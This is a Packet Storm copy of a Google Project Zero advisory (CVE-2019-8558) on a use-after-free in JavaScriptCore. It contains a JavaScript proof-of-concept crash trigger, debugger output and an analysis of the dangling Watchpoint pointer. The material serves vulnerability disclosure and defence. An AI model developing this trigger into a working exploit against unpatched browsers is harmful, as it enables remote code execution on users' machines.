exploit the possibilities

JavaScriptCore CodeBlock Use-After-Free

JavaScriptCore CodeBlock Use-After-Free
Posted Apr 2, 2019
Authored by saelo, Google Security Research

JavaScriptCore suffers from CodeBlock use-after-free vulnerabilities due to dangling Watchpoints.

tags | advisory, vulnerability
advisories | CVE-2019-8558
MD5 | 44941500a9bd200e3ded8e6050b94b65

JavaScriptCore CodeBlock Use-After-Free

Change Mirror Download
JavaScriptCore: CodeBlock UaF due to dangling Watchpoints 

Related CVE Numbers: CVE-2019-8558Fixed-2019-Mar-25.


While fuzzing JavaScriptCore, I encountered the following (simplified and commented) JavaScript program which crashes jsc from current HEAD and release:

function v9() {
// Some watchpoint (on the LexicalEnvironment) is triggered here
// during the 2nd invocation which jettisons the CodeBlock for v9.

// Trigger GC here (in the 2nd invocation) and free the jettisoned CodeBlock.
const v18 = [13.37,13.37,13.37,13.37];
for (const v43 in v18) {
const v47 = new Float64Array(65493);
}

// Trigger some other watchpoint here, jettisoning the same CodeBlock
// again and thus crashing when touching the already freed memory.
const v66 = RegExp();

// Seems to be required to get the desired compilation
// behaviour in DFG (OSR enter in a loop)...
for (let v69 = 0; v69 < 10000; v69++) {
function v70() {
const v73 = v66.test(\"asdf\");
}
v70();
}

// Inserts elements into the Array prototype so the
// first loop runs longer in the second invocation.
for (let v114 = 13.37; v114 < 10000; v114++) {
const v127 = [].__proto__;
v127[v114] = 1337;
}
}
const v182 = /i/g;
const v183 = \"ii\";
v183.replace(v182,v9);

// (Jettisoning is the process of discarding a unit of JIT compiled code
// because it is no longer needed or is now unsafe to execute).

When running in a debug build, it produces a crash similar to the following:

* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xbadce8c0)
frame #0: 0x000000010066e091 JavaScriptCore`void JSC::VM::logEvent<...>(...) [inlined] std::__1::unique_ptr<...>::operator bool(this=0x00000000badce8c0) const at memory:2583
(lldb) up 2
frame #2: 0x000000010066d92e JavaScriptCore`JSC::CodeBlock::jettison(this=0x0000000109388b80, reason=JettisonDueToUnprofiledWatchpoint, mode=CountReoptimization, detail=0x00007ffeefbfc708) at CodeBlock.cpp:1957
(lldb) x/4gx this
0x109388b80: 0x0000000000000000 0x00000000badbeef0
0x109388b90: 0x00000000badbeef0 0x00000000badbeef0
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xbadce8c0)
frame #0: 0x000000010066e091 JavaScriptCore`void JSC::VM::logEvent<...>(...) [inlined] std::__1::unique_ptr<...>::operator bool(this=0x00000000badce8c0) const at memory:2583
frame #1: 0x000000010066e091 JavaScriptCore`void JSC::VM::logEvent<...>(this=0x00000000badbeef0, codeBlock=0x0000000109388b80, summary=\"jettison\", func=0x00007ffeefbfc570)::$_10 const&) at VMInlines.h:59
* frame #2: 0x000000010066d92e JavaScriptCore`JSC::CodeBlock::jettison(this=0x0000000109388b80, reason=JettisonDueToUnprofiledWatchpoint, mode=CountReoptimization, detail=0x00007ffeefbfc708) at CodeBlock.cpp:1957
frame #3: 0x0000000100674a86 JavaScriptCore`JSC::CodeBlockJettisoningWatchpoint::fireInternal(this=0x0000000106541c08, (null)=0x0000000106600000, detail=0x00007ffeefbfc708) at CodeBlockJettisoningWatchpoint.cpp:40
frame #4: 0x000000010072a86c JavaScriptCore`JSC::Watchpoint::fire(this=0x0000000106541c08, vm=0x0000000106600000, detail=0x00007ffeefbfc708) at Watchpoint.cpp:55
frame #5: 0x000000010072b014 JavaScriptCore`JSC::WatchpointSet::fireAllWatchpoints(this=0x00000001065bf6e0, vm=0x0000000106600000, detail=0x00007ffeefbfc708) at Watchpoint.cpp:140
frame #6: 0x000000010072add6 JavaScriptCore`JSC::WatchpointSet::fireAllSlow(this=0x00000001065bf6e0, vm=0x0000000106600000, detail=0x00007ffeefbfc708) at Watchpoint.cpp:91
frame #7: 0x000000010067f790 JavaScriptCore`void JSC::WatchpointSet::fireAll<JSC::FireDetail const>(this=0x00000001065bf6e0, vm=0x0000000106600000, fireDetails=0x00007ffeefbfc708) at Watchpoint.h:190
frame #8: 0x000000010072a3bc JavaScriptCore`JSC::WatchpointSet::touch(this=0x00000001065bf6e0, vm=0x0000000106600000, detail=0x00007ffeefbfc708) at Watchpoint.h:198
frame #9: 0x0000000100b0a41b JavaScriptCore`JSC::WatchpointSet::touch(this=0x00000001065bf6e0, vm=0x0000000106600000, reason=\"Executed NotifyWrite\") at Watchpoint.h:203
frame #10: 0x0000000100b0a3c2 JavaScriptCore`::operationNotifyWrite(exec=0x00007ffeefbfc830, set=0x00000001065bf6e0) at DFGOperations.cpp:2457

As can be seen, the CodeBlock object has been freed by the GC and, since this is a debug build, overwritten with a poison value (0xbadbeef0).

It appears that what is happening here is roughly the following:

* The function v9 is called multiple times as callback during the string.replace operation
* During the first invocation, the function v9 is JIT compiled at one of the inner loops and execution switches to the JIT code
* The JIT compiled code has various dependencies on the outside environment in the form of Watchpoints
* During the 2nd invocation, the LexicalEnvironment of v9 is recreated, triggering a Watchpoint (presumably because the function was originally compiled at one of the inner loops) and jettisoning the associated CodeBlock
* At that point, there are no more references to the CodeBlock, and the following GC frees the object
* Still during the 2nd invocation, after GC, another Watchpoint of the previous JIT code fires, again trying to jettison the CodeBlock that has already been freed

The freeing of the CodeBlock by the GC is possible because the Watchpoint itself only has a raw pointer to the CodeBlock and not any kind of GC reference that would keep it alive (or be set to nullptr):

class CodeBlockJettisoningWatchpoint : public Watchpoint {
public:
CodeBlockJettisoningWatchpoint(CodeBlock* codeBlock)
: m_codeBlock(codeBlock)
{
}

protected:
void fireInternal(VM&, const FireDetail&) override;

private:
CodeBlock* m_codeBlock;
};


It appears that this scenario normally does not happen because the CodeBlock unlinks and frees its associated Watchpoints when it is destroyed.
However, the reference chain is CodeBlock ---(RefPtr)---> JITCode ---(owning reference)---> Watchpoints, and in this case the JITCode is being kept alive at the entrypoint (CachedCall::call) for the duration of callback, thus keeping the Watchpoints alive as well even though the CodeBlock has already been freed.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: saelo@google.com

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close